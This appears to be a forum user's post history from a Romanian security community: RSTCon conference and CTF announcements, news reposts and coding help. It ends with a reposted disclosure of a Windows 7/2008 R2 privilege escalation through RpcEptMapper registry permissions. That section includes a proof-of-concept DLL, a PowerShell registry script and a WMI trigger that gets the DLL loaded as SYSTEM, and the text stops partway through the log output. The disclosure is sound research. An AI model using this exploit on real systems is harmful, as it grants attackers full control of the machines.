-
Posts
18753 -
Joined
-
Last visited
-
Days Won
726
Everything posted by Nytro
-
RSTCon #1 - Ionuț Popescu - RST – Trecut, prezent și viitor Romanian Security Team este o comunitate care a luat viață în 2006 și care azi ne aduce împreună. Ce este RST? Ce s-a întamplat în acești 14 ani? De ce merită mai multă atenție? Ce este în prezent această comunitate? Și mai ales, ce viitor are? În această prezentare voi răspunde acestor întrebări și vă voi explica punctul meu de vedere, atât ca persoană cât și ca administrator al comunității. Ionuț Popescu (Nytro) – UiPath Ionuț Popescu este unul dintre administratorii forumului RST. Lucrează la UiPath ca Penetration Tester și este pasionat de tot ce înseamnă securitate IT.
-
- 3
-
-
-
Nu stiu cum sa facem, cred ca le mai lasam aceasta perioada apoi le putem publica, atat sursele cat si cum se puteau rezolva.
-
Mersi frumos! Daca sunt intrebari referitoare la challenge-uri: @Dragos @nytr0gen si @dancezar
-
CTF-ul va mai fi disponibila in jur de 2 saptamani. Alte detalii referitoare la CTF sunt disponibile aici:
-
Concursul CTF din cadrul RSTCon a avut loc pe perioada conferintei, 20 noiembrie 2020 intre orele 10:00 - 18:00. Multumim tuturor celor care au participat si sper ca le-au placut challenge-urile! Felicitari castigatorilor: https://ctf.rstcon.com/scoreboard Locul I - adragos - 3000 RON Locul II - 0x435446 - 2000 RON Locul III - baietzii_grei - 1000 RON Pe Scoreboard veti vedea si echipa ByteForc3, insa nu sunt romani si nu le-am putut oferi unul dintre premii deoarece conferinta si concursul erau dedicate romanilor. Dar s-au descurcat bine si am decis sa le oferim un premiu onorific de 150 USD. Asteptam write-up-uri pentru challenge-uri pana duminica seara, mentionand ca avem de oferit un premiu de 500 RON pentru cel mai bun write-up. Daca sunt intrebari, sugestii sau critici referitoare la CTF am vrea sa le stim. De asemenea, challenge-urile vor mai fi disponibile o perioada, probabil doua saptamani, pentru cei care vor sa le rezolve. Le vom publica si "international" in acest mod. Daca vor fi mai multe persoane interesate, putem extinde perioada in care vor fi disponibile.
-
RSTCon 1 a avut loc pe 20 noiembrie 2020, intre orele 10:00 - 18:30. As dori sa multumesc tuturor participantilor si suntem curiosi ce parere aveti despre conferinta. Multumiri speakerilor: Ionut Cernica, Cosmin Radu, Serban Bejan, Andrei Barbu. Multumiri echipei care a create challenge-urile pentru concursul CTF: @Dragos , @nytr0gen si @dancezar Multumiri celor care au donat pentru premiile de la concursul CTF: @malsploit , @Dragos , @dancezar si @Matasareanu Conferinta a fost inregistrata si prezentarile vor fi publicate zilele urmatoare.
- 1 reply
-
- 1
-
-
Nu o sa fie nicio stare de urgenta pana la alegeri. Nu o sa fie niciun lockdown. Nu o sa fie nimic. Daca ar fi ceva de genul, PNL nu ar mai primi voturi. Oricum nu stiu de unde le primesc... Am vazut ca ziceau ceva de teste antigen, macar acum in al XII-lea ceas sa faca ceva... Noi pe forum a luat de la inceput masuri de distantare sociala! Cate persoane au luat Covid de pe RST? Niciuna! Asadar, pentru 6 decembrie la alegeri, pozitia 1 - Nytro - prim-ministru!
-
Robot Vacuums Suck Up Sensitive Audio in ‘LidarPhone’ Hack
Nytro replied to Kev's topic in Stiri securitate
Super, imi plac atacurile astea putin SF, chiar daca nu sunt foarte practice sunt foarte interesante din punct de vedere conceptual. -
E live, ne vedem acolo! De la 12:00 la 13:00 va fi pauza apoi revenim pana la 18:30. https://rstcon.com/
-
Lucreaza pentru ei si isi vand produsul celor care au nevoie. Teoretic nu ai de unde sa stii ca developer de asa ceva pe mainile cui ajunge. Daca e sa o luam asa si Coblat Strike a fost folosit in atacuri (APT chiar): https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/ si nu a fost arestat autorul.
-
Da, ceva de genul... Doar ca e open source si am pus "Legal disclaimer" https://github.com/NytroRST/NetRipper (copiat de la sqlmap ) Daca e sa o luam asa ar trebui sa ii salte pe cei care au lucrat la programe ca Metasploit, Cobalt Strike, sqlmap, aircrack... Adica in cacat, pana si Burp poate fi folosit pentru lucruri naspa nu? Chiar si un browser sau direct sistemul de operare. Sincer, nu mi se pare normal. Deloc. Normal mi s-ar fi parut sa ii salte pe aia care au folosit acele cryptere pentru chestii naspa. Ar avea sens daca tot ei ar fi cei care au facut si chestiile naspa, nu se intelege din articol. Ca tot veni vorba : Cred totusi ca e OK : https://lege5.ro/Gratuit/gezdmnrzgi/termenele-de-prescriptie-a-raspunderii-penale-codul-penal?dp=gqytsojugmydg
-
Poliţiştii specializaţi în combaterea criminalităţii informatice şi procurorii DIICOT efectuează, joi, patru percheziţii domiciliare la hackeri români, acuzaţi că au creat şi vândut servicii informatice de tipul "crypter", care oferă posibilitatea utilizatorilor de a modifica fişiere de tip malware, astfel încât acestea să nu fie detectate de către aplicaţiile de tip antivirus. În urma colaborării dintre Poliţia Română şi Bitdefender, au fost descoperite 3.000 de fişiere malware modificate, fişiere folosite pentru lansarea unor atacuri informatice în întreaga lume, inclusiv în România. Percheziţiile au loc în cadrul Operaţiunii "Invoke" - o investigaţie transnaţională, desfăşurată în colaborare cu FBI, cu sprijin din partea Europol şi Eurojust. Potrivit unui comunicat al DIICOT, investigaţia vizează cetăţeni români responsabili de crearea, dezvoltarea şi comercializarea unor servicii informatice de tipul "crypter". Serviciile cunoscute în mediul online sub denumirea "CyberSeal" şi "Data Protector" oferă posibilitatea utilizatorilor de a modifica fişiere de tip malware, astfel încât acestea să nu fie detectate de către aplicaţiile de tip antivirus. Cele două servicii de tip "crypter" erau comercializare în mediul online cu preţuri cuprinse între 40 şi 150 de dolari în funcţie de perioada de licenţiere. Totodată, dezvoltatorii promovau serviciile intens în mediul online şi pe platforme dedicate criminalităţii informatice, oferind utilizatorilor chiar şi tutoriale video privind funcţionalităţile acestora pentru modificarea diverselor fişiere de tip malware. În urma investigaţiilor efectuate, au putut fi identificate un număr total de aproximativ 3.000 de fişiere malware modificate prin folosirea serviciilor ilegale "CyberSeal" şi "Data Protector". Serviciile de tip "crypter" înlesnesc propagarea şi desfăşurarea atacurilor informatice, devenind astfel unelte foarte periculoase şi uşor de folosit atât pentru infractori cibernetici cu experienţă şi cunoştinţe tehnice, cât şi pentru persoane tinere ce se află la stadiul de experimente în mediul online. Activităţile de cooperare internaţională au fost desfăşurate prin intermediul programului EMPACT Cybercrime Attacks Against Information System şi cu suportul Join Action Crime Task Force (J-CAT). AGERPRES/(AS - autor: Eusebi Manolache, editor: Claudia Stănescu, editor online: Andreea Lăzăroiu) Sursa: https://www.agerpres.ro/justitie/2020/11/19/perchezitii-la-hackeri-romani-in-cadrul-operatiunii-invoke-cu-sprijinul-fbi--612643 Ce cacat? Sunt curios daca se intampla la fel daca acele programe nu erau vandute ci erau open-source. Exista o gramada de solutii publice si gratuite pentru asa ceva.
-
Nu uitati, maine va avea loc atat conferinta cat si concursul CTF.
-
GitHub Reinstates Youtube-DL and Puts $1M in Takedown Defense Fund
Nytro replied to Nytro's topic in Stiri securitate
Da, mi se pare ceva genial! Libertate pentru developeri! -
GitHub Reinstates Youtube-DL and Puts $1M in Takedown Defense Fund November 16, 2020 by Ernesto Van der Sar GitHub has reinstated the youtube-dl repository after it concluded that the code doesn't violate the DMCA's anti-circumvention provisions. The company believes that developers should have the freedom to tinker, whether the RIAA likes it or not, and has placed $1 million into a takedown defense fund. Last month, the RIAA pulled the popular open source tool youtube-mp3 from GitHub. The music group sent a takedown notice arguing that the software violated section 1201 of the DMCA, which prevents people from bypassing technical protection measures. This enforcement action wasn’t well-received by the developer community. This included GitHub CEO Nat Friedman, who was ‘annoyed’ and personally offered his help to get the repository reinstated. This wasn’t a false promise, as youtube-dl returned today. GitHub Reinstates Youtube-dl “We are taking a stand for developers and have reinstated the youtube-dl repo. Section 1201 of the DMCA is broken and needs to be fixed. Developers should have the freedom to tinker. That’s how you get great tools like youtube-dl,” Friedman says. GitHub has reinstated the repository after some changes were made. These changes include referrals to copyrighted music, which RIAA pointed out in its claim. However, the software still allows people to download files, including music tracks, from YouTube. After a careful look at the “circumvention” allegations, GitHub now concludes that they are not valid. The company explains that it “received additional information” that allowed it “to reverse” the takedown. No DMCA Anti-Circumvention Violations “[O]ur reinstatement, based on new information that showed the project was not circumventing a technical protection measure (TPM), was inline with our values of putting developers first,” GitHub notes. This new information comes from the Electronic Frontier Foundation (EFF), which responded to the RIAA’s takedown request on behalf of the youtube-dl developers. The EFF’s letter explains in detail how the software works and stresses that there is no advanced decryption involved, as we highlighted earlier. “Youtube-dl stands in place of a Web browser and performs a similar function with respect to user-uploaded videos. Importantly, youtube-dl does not decrypt video streams that are encrypted with commercial DRM technologies, such as Widevine, that are used by subscription video sites, such as Netflix,” the letter reads. The letter helped to convince GitHub that it wrongly granted the takedown request. And since other copyright issues pointed out by the RIAA were addressed as well, the company decided to reinstate the repository. Developers First In addition, the revolt from the developer community was a clear reminder that developers should come first. As such, GitHub also announced that it will overhaul the way it handles DMCA section 1201 claims. One key change is that content won’t always be removed right away. This change doesn’t apply to regular DMCA takedown notices but to ‘circumvention’ claims specifically. From now on, these will all be manually reviewed and scrutinized by experts. “When we see it is possible to modify a project to remove allegedly infringing content, we give the owners a chance to fix problems before we take content down. If not, they can always respond to the notification disabling the repository and offer to make changes, or file a counter notice,” GitHub explains. $1M in Defense Fund The developer platform will aid developers financially as well. The company announced that it will put $1 million into a defense fund to help open source developers on GitHub protect themselves from overbroad or unwarranted DMCA Section 1201 takedown requests. In addition, it will also get more involved in the political side of things. Every three years the US Copyright Office reviews its DMCA anti-circumvention exceptions and GitHub will have its voice heard there as well. “We are also advocating specifically on the anti-circumvention provisions of the DMCA to promote developers’ freedom to build socially beneficial tools like youtube-dl,” the company notes. All in all, it’s safe to say that the RIAA’s takedown attempt has completely backfired. We previously reached out to the music group for comment on related youtube-dl issues, but this request remains unanswered. The RIAA continues to issue similar DMCA circumvention requests to other companies, including Google. These argue that YouTube rippers violate the DMCA as they bypass YouTube’s “rolling cipher.” At GitHub, those won’t work anymore. Youtube-dl Devs Are Happy Sergey, one of the youtube-dl developers, tells us that he is happy with all the support they have received from the EFF, GitHub, as well as the public at large. “EFF’s help was invaluable. We’d like to thank EFF and Mitch Stoltz personally for their incredible support and dedication. We’d also like to thank GitHub for standing up for youtube-dl and taking potential legal risks by allowing youtube-dl to keep the rolling cipher code,” he says. “We’re also grateful to all the tremendous amount of support and offers received lately (we physically were not able to respond to everyone) and all youtube-dl users,” Sergey adds. Sursa: https://torrentfreak.com/github-reinstates-youtube-dl-and-puts-1m-in-takedown-defense-fund-201116/?fbclid=IwAR0a6KNjcUtqxmGcq3wby9rV9sxoDHnwgSB83P17UhQ2fOgrPT1mFXVabnI
-
Vrei sa vezi de cate ori se repeta toate IP-urile pe care le ai in DB? In primul rand, daca faci operatii pe acele IP-uri ar trebui sa le "scoti" din acel VARCHAR/TEXT si sa le pui separat intr-o coloana, ti-ar simplifica munca. Dar nu e necesar. SELECT SUBSTRING(ip, 1, LOCATE(" ", ip)) FROM tabel;
-
Am marit putin premiile pentru CTF, detalii aici: https://ctf.rstcon.com/ Valoarea totala a premiilor: 1337 EUR (aproximativ) Inregistrarile sunt deschise.
-
20 noiembrie 2020 10:00 - 18:00 Premiile pentru concurs: Locul I - 3000 RON Locul II - 2000 RON Locul III - 1000 RON Cel mai bun write-up - 500 RON Premiile sunt oferite din donații de la membrii comunității: Nytro, malsploit, Dragos, dancezar, Matasareanu. Trecem printr-o perioadă grea și sugestia noastră este ca premiile să fie donate, dacă acest lucru este posibil. Pentru discuții referitoare la CTF vom folosi canalul #ctf de pe Slack. Prezentarea rezultatelor concursului va avea loc la ora 18:00. Detalii complete: https://ctf.rstcon.com/
-
Adica din "abcde" sa faci "adcbe"? Poti folosi strlen? Daca nu, il poti implementa cu un while: char sir[] = "abcde"; unsigned int length = 0; while(sir[length++]) {} // Cred, facut acum rapid Apoi inlocuiesc elementul 2 cu penultimul, adica: char x = sir[2]; // Temporar salvezi al doilea caracter sir[2] = sir[len-2]; // Inlocuiesti al doilea caracter cu penultimul sir[len-2 = x; // Penultimul apoi cu al doilea Nu stiu daca e exact asa sau daca de asta ai nevoie. Probabil ai nevoie si de un "if" sa vezi daca sirul are mai mult de 2 caractere.
-
Parameter pollution is a very old attack however I feel like it is under rated. 20+ JS libraries were vulnerable to this attack including JQuery. This is an important attack to learn for any web application pentester. There are few automated tools which are able to detect this however, it does require manual inspection. Facebook: https://www.facebook.com/InfoSecForSt... Vuln JS: https://gist.github.com/DaniAkash/b3d... Affected library: https://www.npmjs.com/package/lodash ... Example Test Code: https://github.com/lukeed/klona/pull/... References: https://portswigger.net/daily-swig/pr... https://codeburst.io/what-is-prototyp... https://medium.com/node-modules/what-... https://help.semmle.com/wiki/display/... https://research.securitum.com/protot... #webapppentest #ethicalhacking #burpsuite #pentest #cybersecurity #cybersecuritytraining
-
Windows RpcEptMapper Service Insecure Registry Permissions EoP November 12, 2020 If you follow me on Twitter, you probably know that I developed my own Windows privilege escalation enumeration script - PrivescCheck - which is a sort of updated and extended version of the famous PowerUp. If you have ever run this script on Windows 7 or Windows Server 2008 R2, you probably noticed a weird recurring result and perhaps thought that it was a false positive just as I did. Or perhaps you’re reading this and you have no idea what I am talking about. Anyway, the only thing you should know is that this script actually did spot a Windows 0-day privilege escalation vulnerability. Here is the story behind this finding… A Bit of Context… At the beginning of this year, I started working on a privilege escalation enumeration script: PrivescCheck. The idea was to build on the work that had already been accomplished with the famous PowerUp tool and implement a few more checks that I found relevant. With this script, I simply wanted to be able to quickly enumerate potential vulnerabilities caused by system misconfigurations but, it actually yielded some unexpected results. Indeed, it enabled me to find a 0-day vulnerability in Windows 7 / Server 2008R2! Given a fully patched Windows machine, one of the main security issues that can lead to local privilege escalation is service misconfiguration. If a normal user is able to modify an existing service then he/she can execute arbitrary code in the context of LOCAL/NETWORK SERVICE or even LOCAL SYSTEM. Here are the most common vulnerabilities. There is nothing new so you can skip this part if you are already familiar with these concepts. Service Control Manager (SCM) - Low-privileged users can be granted specific permissions on a service through the SCM. For example, a normal user can start the Windows Update service with the command sc.exe start wuauserv thanks to the SERVICE_START permission. This is a very common scenario. However, if this same user had SERVICE_CHANGE_CONFIG, he/she would be able to alter the behavior of the that service and make it run an arbitrary executable. Binary permissions - A typical Windows service usually has a command line associated with it. If you can modify the corresponding executable (or if you have write permissions in the parent folder) then you can basically execute whatever you want in the security context of that service. Unquoted paths - This issue is related to the way Windows parses command lines. Let’s consider a fictitious service with the following command line: C:\Applications\Custom Service\service.exe /v. This command line is ambiguous so Windows would first try to execute C:\Applications\Custom.exe with Service\service.exe as the first argument (and /v as the second argument). If a normal user had write permissions in C:\Applications then he/she could hijack the service by copying a malicious executable to C:\Applications\Custom.exe. That’s why paths should always be surrounded by quotes, especially when they contain spaces: "C:\Applications\Custom Service\service.exe" /v Phantom DLL hijacking (and writable %PATH% folders) - Even on a default installation of Windows, some built-in services try to load DLLs that don’t exist. That’s not a vulnerability per se but if one of the folders that are listed in the %PATH% environment variable is writable by a normal user then these services can be hijacked. Each one of these potential security issues already had a corresponding check in PowerUp but there is another case where misconfiguration may arise: the registry. Usually, when you create a service, you do so by invoking the Service Control Manager using the built-in command sc.exe as an administrator. This will create a subkey with the name of your service in HKLM\SYSTEM\CurrentControlSet\Services and all the settings (command line, user, etc.) will be saved in this subkey. So, if these settings are managed by the SCM, they should be secure by default. At least that’s what I thought… Checking Registry Permissions One of the core functions of PowerUp is Get-ModifiablePath. The basic idea behind this function is to provide a generic way to check whether the current user can modify a file or a folder in any way (e.g.: AppendData/AddSubdirectory). It does so by parsing the ACL of the target object and then comparing it to the permissions that are given to the current user account through all the groups it belongs to. Although this principle was originally implemented for files and folders, registry keys are securable objects too. Therefore, it’s possible to implement a similar function to check if the current user has any write permissions on a registry key. That’s exactly what I did and I thus added a new core function: Get-ModifiableRegistryPath. Then, implementing a check for modifiable registry keys corresponding to Windows services is as easy as calling the Get-ChildItem PowerShell command on the path Registry::HKLM\SYSTEM\CurrentControlSet\Services. The result can simply be piped to the new Get-ModifiableRegistryPath command, and that’s all. When I need to implement a new check, I use a Windows 10 machine, and I also use the same machine for the initial testing to see if everything is working as expected. When the code is stable, I extend the tests to a few other Windows VMs to make sure that it’s still PowerShell v2 compatible and that it can still run on older systems. The operating systems I use the most for that purpose are Windows 7, Windows 2008 R2 and Windows Server 2012 R2. When I ran the updated script on a default installation of Windows 10, it didn’t return anything, which was the result I expected. But then, I ran it on Windows 7 and I saw this: Since I didn’t expect the script to yield any result, I frst thought that these were false positives and that I had messed up at some point in the implementation. But, before getting back to the code, I did take a closer look at these results… A False Positive? According to the output of the script, the current user has some write permissions on two registry keys: HKLM\SYSTEM\CurrentControlSet\Services\Dnscache HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper Let’s manually check the permissions of the RpcEptMapper service using the regedit GUI. One thing I really like about the Advanced Security Settings window is the Effective Permissions tab. You can pick any user or group name and immediately see the effective permissions that are granted to this principal without the need to inspect all the ACEs separately. The following screenshot shows the result for the low privileged lab-user account. Most permissions are standard (e.g.: Query Value) but one in particular stands out: Create Subkey. The generic name corresponding to this permission is AppendData/AddSubdirectory, which is exactly what was reported by the script: Name : RpcEptMapper ImagePath : C:\Windows\system32\svchost.exe -k RPCSS User : NT AUTHORITY\NetworkService ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper} IdentityReference : NT AUTHORITY\Authenticated Users Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory} Status : Running UserCanStart : True UserCanRestart : False Name : RpcEptMapper ImagePath : C:\Windows\system32\svchost.exe -k RPCSS User : NT AUTHORITY\NetworkService ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper} IdentityReference : BUILTIN\Users Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory} Status : Running UserCanStart : True UserCanRestart : False What does this mean exactly? It means that we cannot just modify the ImagePath value for example. To do so, we would need the WriteData/AddFile permission. Instead, we can only create a new subkey. Does it mean that it was indeed a false positive? Surely not. Let the fun begin! RTFM At this point, we know that we can create arbirary subkeys under HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper but we cannot modify existing subkeys and values. These already existing subkeys are Parameters and Security, which are quite common for Windows services. Therefore, the first question that came to mind was: is there any other predefined subkey - such as Parameters and Security- that we could leverage to effectively modify the configuration of the service and alter its behavior in any way? To answer this question, my initial plan was to enumerate all existing keys and try to identify a pattern. The idea was to see which subkeys are meaningful for a service’s configuration. I started to think about how I could implement that in PowerShell and then sort the result. Though, before doing so, I wondered if this registry structure was already documented. So, I googled something like windows service configuration registry site:microsoft.com and here is the very first result that came out. Looks promising, doesn’t it? At first glance, the documentation did not seem to be exhaustive and complete. Considering the title, I expected to see some sort of tree structure detailing all the subkeys and values defining a service’s configuration but it was clearly not there. Still, I did take a quick look at each paragraph. And, I quickly spotted the keywords “Performance” and “DLL”. Under the subtitle “Perfomance”, we can read the following: Performance: A key that specifies information for optional performance monitoring. The values under this key specify the name of the driver’s performance DLL and the names of certain exported functions in that DLL. You can add value entries to this subkey using AddReg entries in the driver’s INF file. According to this short paragraph, one can theoretically register a DLL in a driver service in order to monitor its performances thanks to the Performance subkey. OK, this is really interesting! This key doesn’t exist by default for the RpcEptMapper service so it looks like it is exactly what we need. There is a slight problem though, this service is definitely not a driver service. Anyway, it’s still worth the try, but we need more information about this “Perfomance Monitoring” feature first. Note: in Windows, each service has a given Type. A service type can be one of the following values: SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256). After some googling, I found this resource in the documentation: Creating the Application’s Performance Key. First, there is a nice tree structure that lists all the keys and values we have to create. Then, the description gives the following key information: The Library value can contain a DLL name or a full path to a DLL. The Open, Collect, and Close values allow you to specify the names of the functions that should be exported by the DLL. The data type of these values is REG_SZ (or even REG_EXPAND_SZ for the Library value). If you follow the links that are included in this resource, you’ll even find the prototype of these functions along with some code samples: Implementing OpenPerformanceData. DWORD APIENTRY OpenPerfData(LPWSTR pContext); DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned); DWORD APIENTRY ClosePerfData(); I think that’s enough with the theory, it’s time to start writing some code! Writing a Proof-of-Concept Thanks to all the bits and pieces I was able to collect throughout the documentation, writing a simple Proof-of-Concept DLL should be pretty straightforward. But still, we need a plan! When I need to exploit some sort of DLL hijacking vulnerability, I usually start with a simple and custom log helper function. The purpose of this function is to write some key information to a file whenever it’s invoked. Typically, I log the PID of the current process and the parent process, the name of the user that runs the process and the corresponding command line. I also log the name of the function that triggered this log event. This way, I know which part of the code was executed. In my other articles, I always skipped the development part because I assumed that it was more or less obvious. But, I also want my blog posts to be beginner-friendly, so there is a contradiction. I will remedy this situation here by detailing the process. So, let’s fire up Visual Studio and create a new “C++ Console App” project. Note that I could have created a “Dynamic-Link Library (DLL)” project but I find it actually easier to just start with a console app. Here is the initial code generated by Visual Studio: #include <iostream> int main() { std::cout << "Hello World!\n"; } Of course, that’s not what we want. We want to create a DLL, not an EXE, so we have to replace the main function with DllMain. You can find a skeleton code for this function in the documentation: Initialize a DLL. #include <Windows.h> extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved) { switch (reason) { case DLL_PROCESS_ATTACH: Log(L"DllMain"); // See log helper function below break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; } In parallel, we also need to change the settings of the project to specify that the output compiled file should be a DLL rather than an EXE. To do so, you can open the project properties and, in the “General” section, select “Dynamic Library (.dll)” as the “Configuration Type”. Right under the title bar, you can also select “All Configurations” and “All Platforms” so that this setting can be applied globally. Next, I add my custom log helper function. #include <Lmcons.h> // UNLEN + GetUserName #include <tlhelp32.h> // CreateToolhelp32Snapshot() #include <strsafe.h> void Log(LPCWSTR pwszCallingFrom) { LPWSTR pwszBuffer, pwszCommandLine; WCHAR wszUsername[UNLEN + 1] = { 0 }; SYSTEMTIME st = { 0 }; HANDLE hToolhelpSnapshot; PROCESSENTRY32 stProcessEntry = { 0 }; DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; BOOL bResult = FALSE; // Get the command line of the current process pwszCommandLine = GetCommandLine(); // Get the name of the process owner GetUserName(wszUsername, &dwPcbBuffer); // Get the PID of the current process dwProcessId = GetCurrentProcessId(); // Get the PID of the parent process hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); stProcessEntry.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hToolhelpSnapshot, &stProcessEntry)) { do { if (stProcessEntry.th32ProcessID == dwProcessId) { dwParentProcessId = stProcessEntry.th32ParentProcessID; break; } } while (Process32Next(hToolhelpSnapshot, &stProcessEntry)); } CloseHandle(hToolhelpSnapshot); // Get the current date and time GetLocalTime(&st); // Prepare the output string and log the result dwBufSize = 4096 * sizeof(WCHAR); pwszBuffer = (LPWSTR)malloc(dwBufSize); if (pwszBuffer) { StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n", st.wHour, st.wMinute, st.wSecond, dwProcessId, dwParentProcessId, wszUsername, pwszCommandLine, pwszCallingFrom ); LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer); free(pwszBuffer); } } Then, we can populate the DLL with the three functions we saw in the documentation. The documentation also states that they should return ERROR_SUCCESS if successful. DWORD APIENTRY OpenPerfData(LPWSTR pContext) { Log(L"OpenPerfData"); return ERROR_SUCCESS; } DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned) { Log(L"CollectPerfData"); return ERROR_SUCCESS; } DWORD APIENTRY ClosePerfData() { Log(L"ClosePerfData"); return ERROR_SUCCESS; } Ok, so the project is now properly configured, DllMain is implemented, we have a log helper function and the three required functions. One last thing is missing though. If we compile this code, OpenPerfData, CollectPerfData and ClosePerfData will be available as internal functions only so we need to export them. This can be achieved in several ways. For example, you could create a DEF file and then configure the project appropriately. However, I prefer to use the __declspec(dllexport) keyword (doc), especially for a small project like this one. This way, we just have to declare the three functions at the beginning of the source code. extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext); extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned); extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData(); If you want to see the full code, I uploaded it here. Finally, we can select Release/x64 and “Build the solution”. This will produce our DLL file: .\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll. Testing the PoC Before going any further, I always make sure that my payload is working properly by testing it separately. The little time spent here can save a lot of time afterwards by preventing you from going down a rabbit hole during a hypothetical debug phase. To do so, we can simply use rundll32.exe and pass the name of the DLL and the name of an exported function as the parameters. C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData Great, the log file was created and, if we open it, we can see two entries. The first one was written when the DLL was loaded by rundll32.exe. The second one was written when OpenPerfData was called. Looks good! [21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain' [21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData' Ok, now we can focus on the actual vulnerability and start by creating the required registry key and values. We can either do this manually using reg.exe / regedit.exe or programmatically with a script. Since I already went through the manual steps during my initial research, I’ll show a cleaner way to do the same thing with a PowerShell script. Besides, creating registry keys and values in PowerShell is as easy as calling New-Item and New-ItemProperty, isn’t it? Requested registry access is not allowed… Hmmm, ok… It looks like it won’t be that easy after all. I didn’t really investigate this issue but my guess is that when we call New-Item, powershell.exe actually tries to open the parent registry key with some flags that correspond to permissions we don’t have. Anyway, if the built-in cmdlets don’t do the job, we can always go down one level and invoke DotNet functions directly. Indeed, registry keys can also be created with the following code in PowerShell. [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance") Here we go! In the end, I put together the following script in order to create the appropriate key and values, wait for some user input and finally terminate by cleaning everything up. $ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance" Write-Host "[*] Create 'Performance' subkey" [void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey) Write-Host "[*] Create 'Library' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null Write-Host "[*] Create 'Open' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null Write-Host "[*] Create 'Collect' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null Write-Host "[*] Create 'Close' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null Read-Host -Prompt "Press any key to continue" Write-Host "[*] Cleanup" Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force [Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey) The last step now, how do we trick the RPC Endpoint Mapper service into loading our Performace DLL? Unfortunately, I haven’t kept track of all the different things I tried. It would have been really interesting in the context of this blog post to highlight how tedious and time consuming research can sometimes be. Anyway, one thing I found along the way is that you can query Perfomance Counters using WMI (Windows Management Instrumentation), which isn’t too surprising after all. More info here: WMI Performance Counter Types. Counter types appear as the CounterType qualifier for properties in Win32_PerfRawData classes, and as the CookingType qualifier for properties in Win32_PerfFormattedData classes. So, I first enumerated the WMI classes that are related to Performace Data in PowerShell using the following command. Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" } And, I saw that my log file was created almost right away! Here is the content of the file. [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - 